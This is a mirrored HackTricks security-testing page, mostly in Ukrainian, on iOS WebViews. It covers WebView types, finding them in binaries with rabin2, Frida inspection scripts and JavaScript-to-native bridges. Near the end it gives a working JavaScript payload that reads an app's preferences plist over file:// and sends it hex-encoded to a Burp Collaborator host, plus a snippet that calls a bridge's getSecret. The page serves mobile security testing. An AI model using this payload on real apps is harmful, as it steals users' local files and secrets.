mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
293 lines
23 KiB
Markdown
293 lines
23 KiB
Markdown
# iOS WebViews
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
|
||
|
||
|
||
## WebViews types
|
||
|
||
WebViews використовуються в додатках для інтерактивного відображення веб-контенту. Різні типи WebViews пропонують різні функціональні можливості та функції безпеки для iOS-додатків. Ось короткий огляд:
|
||
|
||
- **UIWebView**, який більше не рекомендується з iOS 12 через відсутність підтримки вимкнення **JavaScript**, що робить його вразливим до ін'єкцій скриптів та атак **Cross-Site Scripting (XSS)**.
|
||
|
||
- **WKWebView** є переважним варіантом для інтеграції веб-контенту в додатки, пропонуючи покращений контроль над контентом та функціями безпеки. **JavaScript** увімкнено за замовчуванням, але його можна вимкнути за необхідності. Він також підтримує функції, щоб запобігти автоматичному відкриттю вікон JavaScript і забезпечує безпечне завантаження всього контенту. Крім того, архітектура **WKWebView** мінімізує ризик пошкодження пам'яті, що впливає на основний процес додатка.
|
||
|
||
- **SFSafariViewController** пропонує стандартизований досвід веб-серфінгу в додатках, впізнаваний за своїм специфічним макетом, включаючи поле адреси тільки для читання, кнопки спільного доступу та навігації, а також пряме посилання для відкриття контенту в Safari. На відміну від **WKWebView**, **JavaScript** не можна вимкнути в **SFSafariViewController**, який також ділиться куками та даними з Safari, зберігаючи конфіденційність користувача від додатка. Його потрібно відображати помітно відповідно до рекомендацій App Store.
|
||
```javascript
|
||
// Example of disabling JavaScript in WKWebView:
|
||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||
preferences.javaScriptEnabled = NO;
|
||
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
||
config.preferences = preferences;
|
||
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
||
```
|
||
## WebViews Configuration Exploration Summary
|
||
|
||
### **Static Analysis Overview**
|
||
|
||
У процесі вивчення конфігурацій **WebViews** акцентується на двох основних типах: **UIWebView** та **WKWebView**. Для ідентифікації цих WebViews у бінарному файлі використовуються команди, що шукають специфічні посилання на класи та методи ініціалізації.
|
||
|
||
- **UIWebView Identification**
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||
```
|
||
Ця команда допомагає знаходити екземпляри **UIWebView**, шукаючи текстові рядки, пов'язані з ним, у бінарному файлі.
|
||
|
||
- **Ідентифікація WKWebView**
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||
```
|
||
Аналогічно, для **WKWebView** ця команда шукає в бінарному файлі текстові рядки, що вказують на його використання.
|
||
|
||
Крім того, щоб дізнатися, як ініціалізується **WKWebView**, виконується наступна команда, яка націлена на підпис методу, пов'язаний з його ініціалізацією:
|
||
```bash
|
||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||
```
|
||
#### **Перевірка конфігурації JavaScript**
|
||
|
||
Для **WKWebView** підкреслюється, що вимкнення JavaScript є найкращою практикою, якщо це не потрібно. Скомпільований бінарний файл перевіряється, щоб підтвердити, що властивість `javaScriptEnabled` встановлена в `false`, що забезпечує вимкнення JavaScript:
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||
```
|
||
#### **Тільки перевірка безпечного контенту**
|
||
|
||
**WKWebView** пропонує можливість виявлення проблем з змішаним контентом, на відміну від **UIWebView**. Це перевіряється за допомогою властивості `hasOnlySecureContent`, щоб забезпечити завантаження всіх ресурсів сторінки через безпечні з'єднання. Пошук у скомпільованому бінарному файлі виконується наступним чином:
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||
```
|
||
### **Інсайти динамічного аналізу**
|
||
|
||
Динамічний аналіз передбачає перевірку купи на наявність екземплярів WebView та їх властивостей. Для цієї мети використовується скрипт під назвою `webviews_inspector.js`, який націлений на екземпляри `UIWebView`, `WKWebView` та `SFSafariViewController`. Він реєструє інформацію про знайдені екземпляри, включаючи URL-адреси та налаштування, пов'язані з JavaScript та безпечним контентом.
|
||
|
||
Перевірку купи можна проводити за допомогою `ObjC.choose()`, щоб ідентифікувати екземпляри WebView та перевірити властивості `javaScriptEnabled` та `hasonlysecurecontent`.
|
||
|
||
{% code title="webviews_inspector.js" %}
|
||
```javascript
|
||
ObjC.choose(ObjC.classes['UIWebView'], {
|
||
onMatch: function (ui) {
|
||
console.log('onMatch: ', ui);
|
||
console.log('URL: ', ui.request().toString());
|
||
},
|
||
onComplete: function () {
|
||
console.log('done for UIWebView!');
|
||
}
|
||
});
|
||
|
||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
onMatch: function (wk) {
|
||
console.log('onMatch: ', wk);
|
||
console.log('URL: ', wk.URL().toString());
|
||
},
|
||
onComplete: function () {
|
||
console.log('done for WKWebView!');
|
||
}
|
||
});
|
||
|
||
ObjC.choose(ObjC.classes['SFSafariViewController'], {
|
||
onMatch: function (sf) {
|
||
console.log('onMatch: ', sf);
|
||
},
|
||
onComplete: function () {
|
||
console.log('done for SFSafariViewController!');
|
||
}
|
||
});
|
||
|
||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
onMatch: function (wk) {
|
||
console.log('onMatch: ', wk);
|
||
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
||
}
|
||
});
|
||
|
||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
onMatch: function (wk) {
|
||
console.log('onMatch: ', wk);
|
||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||
}
|
||
});
|
||
```
|
||
{% endcode %}
|
||
|
||
Скрипт виконується з:
|
||
```bash
|
||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||
```
|
||
**Ключові результати**:
|
||
- Екземпляри WebViews успішно виявлені та перевірені.
|
||
- Перевірено налаштування активації JavaScript та безпечного контенту.
|
||
|
||
Цей підсумок охоплює критичні кроки та команди, що беруть участь в аналізі конфігурацій WebView через статичні та динамічні підходи, зосереджуючи увагу на функціях безпеки, таких як активація JavaScript та виявлення змішаного контенту.
|
||
|
||
## Обробка протоколів WebView
|
||
|
||
Обробка контенту в WebViews є критично важливим аспектом, особливо при роботі з різними протоколами, такими як `http(s)://`, `file://` та `tel://`. Ці протоколи дозволяють завантажувати як віддалений, так і локальний контент в додатках. Підкреслюється, що при завантаженні локального контенту необхідно вжити заходів, щоб запобігти впливу користувачів на ім'я або шлях файлу та редагуванню самого контенту.
|
||
|
||
**WebViews** пропонують різні методи для завантаження контенту. Для **UIWebView**, який зараз застарів, використовуються методи, такі як `loadHTMLString:baseURL:` та `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, з іншого боку, використовує `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` та `loadRequest:` для веб-контенту. Методи, такі як `pathForResource:ofType:`, `URLForResource:withExtension:` та `init(contentsOf:encoding:)`, зазвичай використовуються для завантаження локальних файлів. Метод `loadFileURL:allowingReadAccessToURL:` особливо помітний завдяки своїй здатності завантажувати конкретний URL або каталог у WebView, потенційно відкриваючи чутливі дані, якщо вказано каталог.
|
||
|
||
Щоб знайти ці методи в вихідному коді або скомпільованому бінарному файлі, можна використовувати команди, подібні до наступних:
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||
```
|
||
Щодо **доступу до файлів**, UIWebView дозволяє його універсально, тоді як WKWebView вводить налаштування `allowFileAccessFromFileURLs` та `allowUniversalAccessFromFileURLs` для управління доступом з URL-адрес файлів, обидва з яких за замовчуванням мають значення false.
|
||
|
||
Приклад скрипта Frida надається для перевірки конфігурацій **WKWebView** для налаштувань безпеки:
|
||
```bash
|
||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
onMatch: function (wk) {
|
||
console.log('onMatch: ', wk);
|
||
console.log('URL: ', wk.URL().toString());
|
||
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
||
console.log('allowFileAccessFromFileURLs: ',
|
||
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||
console.log('allowUniversalAccessFromFileURLs: ',
|
||
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
||
},
|
||
onComplete: function () {
|
||
console.log('done for WKWebView!');
|
||
}
|
||
});
|
||
```
|
||
Нарешті, приклад JavaScript-пейлоада, спрямованого на ексфільтрацію локальних файлів, демонструє потенційний ризик безпеки, пов'язаний з неправильно налаштованими WebViews. Цей пейлоад кодує вміст файлів у шістнадцятковий формат перед їх передачею на сервер, підкреслюючи важливість суворих заходів безпеки в реалізаціях WebView.
|
||
```javascript
|
||
String.prototype.hexEncode = function(){
|
||
var hex, i;
|
||
var result = "";
|
||
for (i=0; i<this.length; i++) {
|
||
hex = this.charCodeAt(i).toString(16);
|
||
result += ("000"+hex).slice(-4);
|
||
}
|
||
return result
|
||
}
|
||
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.onreadystatechange = function() {
|
||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||
var xhr2 = new XMLHttpRequest();
|
||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||
xhr2.send(null);
|
||
}
|
||
}
|
||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||
xhr.send(null);
|
||
```
|
||
## Native Methods Exposed Through WebViews
|
||
|
||
## Understanding WebView Native Interfaces in iOS
|
||
|
||
З iOS 7 Apple надала API для **зв'язку між JavaScript у WebView та нативними** об'єктами Swift або Objective-C. Ця інтеграція в основному здійснюється через два методи:
|
||
|
||
- **JSContext**: JavaScript-функція автоматично створюється, коли блок Swift або Objective-C пов'язується з ідентифікатором у `JSContext`. Це дозволяє безперешкодно інтегрувати та взаємодіяти між JavaScript та нативним кодом.
|
||
- **JSExport Protocol**: Наслідуючи протокол `JSExport`, нативні властивості, методи екземпляра та методи класу можуть бути відкриті для JavaScript. Це означає, що будь-які зміни, внесені в середовищі JavaScript, відображаються в нативному середовищі, і навпаки. Однак важливо переконатися, що чутливі дані не відкриваються ненавмисно через цей метод.
|
||
|
||
### Accessing `JSContext` in Objective-C
|
||
|
||
В Objective-C `JSContext` для `UIWebView` можна отримати за допомогою наступного рядка коду:
|
||
```objc
|
||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||
```
|
||
### Спілкування з `WKWebView`
|
||
|
||
Для `WKWebView` прямий доступ до `JSContext` недоступний. Натомість використовується передача повідомлень через функцію `postMessage`, що дозволяє JavaScript взаємодіяти з нативним кодом. Обробники для цих повідомлень налаштовуються наступним чином, що дозволяє JavaScript безпечно взаємодіяти з нативним додатком:
|
||
```swift
|
||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||
options_dict["javaScriptBridge"]?.value = enabled
|
||
let userContentController = wkWebViewConfiguration.userContentController
|
||
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
||
|
||
if enabled {
|
||
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
||
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
||
}
|
||
}
|
||
```
|
||
### Взаємодія та Тестування
|
||
|
||
JavaScript може взаємодіяти з нативним шаром, визначаючи обробник повідомлень скрипта. Це дозволяє виконувати операції, такі як виклик нативних функцій з веб-сторінки:
|
||
```javascript
|
||
function invokeNativeOperation() {
|
||
value1 = document.getElementById("value1").value
|
||
value2 = document.getElementById("value2").value
|
||
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
||
}
|
||
|
||
// Alternative method for calling exposed JavaScript functions
|
||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||
```
|
||
Щоб захопити та маніпулювати результатом виклику нативної функції, можна переопределити функцію зворотного виклику в HTML:
|
||
```html
|
||
<html>
|
||
<script>
|
||
document.location = "javascriptbridge://getSecret"
|
||
function javascriptBridgeCallBack(name, result) {
|
||
alert(result);
|
||
}
|
||
</script>
|
||
</html>
|
||
```
|
||
Сторона нативного коду обробляє виклик JavaScript, як показано в класі `JavaScriptBridgeMessageHandler`, де результат операцій, таких як множення чисел, обробляється і надсилається назад до JavaScript для відображення або подальшої маніпуляції:
|
||
```swift
|
||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||
// Handling "multiplyNumbers" operation
|
||
case "multiplyNumbers":
|
||
let arg1 = Double(messageArray[1])!
|
||
let arg2 = Double(messageArray[2])!
|
||
result = String(arg1 * arg2)
|
||
// Callback to JavaScript
|
||
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
||
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||
}
|
||
```
|
||
## Налагодження iOS WebViews
|
||
|
||
(Посібник, оснований на [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||
|
||
Щоб ефективно налагоджувати веб-контент у iOS webviews, потрібна специфічна налаштування, що включає інструменти розробника Safari, оскільки повідомлення, надіслані до `console.log()`, не відображаються в журналах Xcode. Ось спрощений посібник, що підкреслює ключові кроки та вимоги:
|
||
|
||
- **Підготовка на пристрої iOS**: Необхідно активувати Web Inspector Safari на вашому пристрої iOS. Це робиться через **Налаштування > Safari > Додатково**, і ввімкнення _Web Inspector_.
|
||
|
||
- **Підготовка на пристрої macOS**: На вашій розробницькій машині macOS потрібно ввімкнути інструменти розробника в Safari. Запустіть Safari, перейдіть до **Safari > Налаштування > Додатково**, і виберіть опцію _Показати меню Розробка_.
|
||
|
||
- **З'єднання та налагодження**: Після підключення вашого пристрою iOS до комп'ютера macOS і запуску вашого додатку, використовуйте Safari на вашому пристрої macOS, щоб вибрати webview, який ви хочете налагоджувати. Перейдіть до _Розробка_ в меню Safari, наведіть курсор на ім'я вашого пристрою iOS, щоб побачити список екземплярів webview, і виберіть екземпляр, який ви хочете перевірити. Відкриється нове вікно Web Inspector Safari для цієї мети.
|
||
|
||
Однак, будьте уважні до обмежень:
|
||
|
||
- Налагодження цим методом вимагає пристрою macOS, оскільки воно залежить від Safari.
|
||
- Тільки webviews у додатках, завантажених на ваш пристрій через Xcode, підлягають налагодженню. Webviews у додатках, встановлених через App Store або Apple Configurator, не можуть бути налагоджені цим способом.
|
||
|
||
|
||
## Посилання
|
||
|
||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|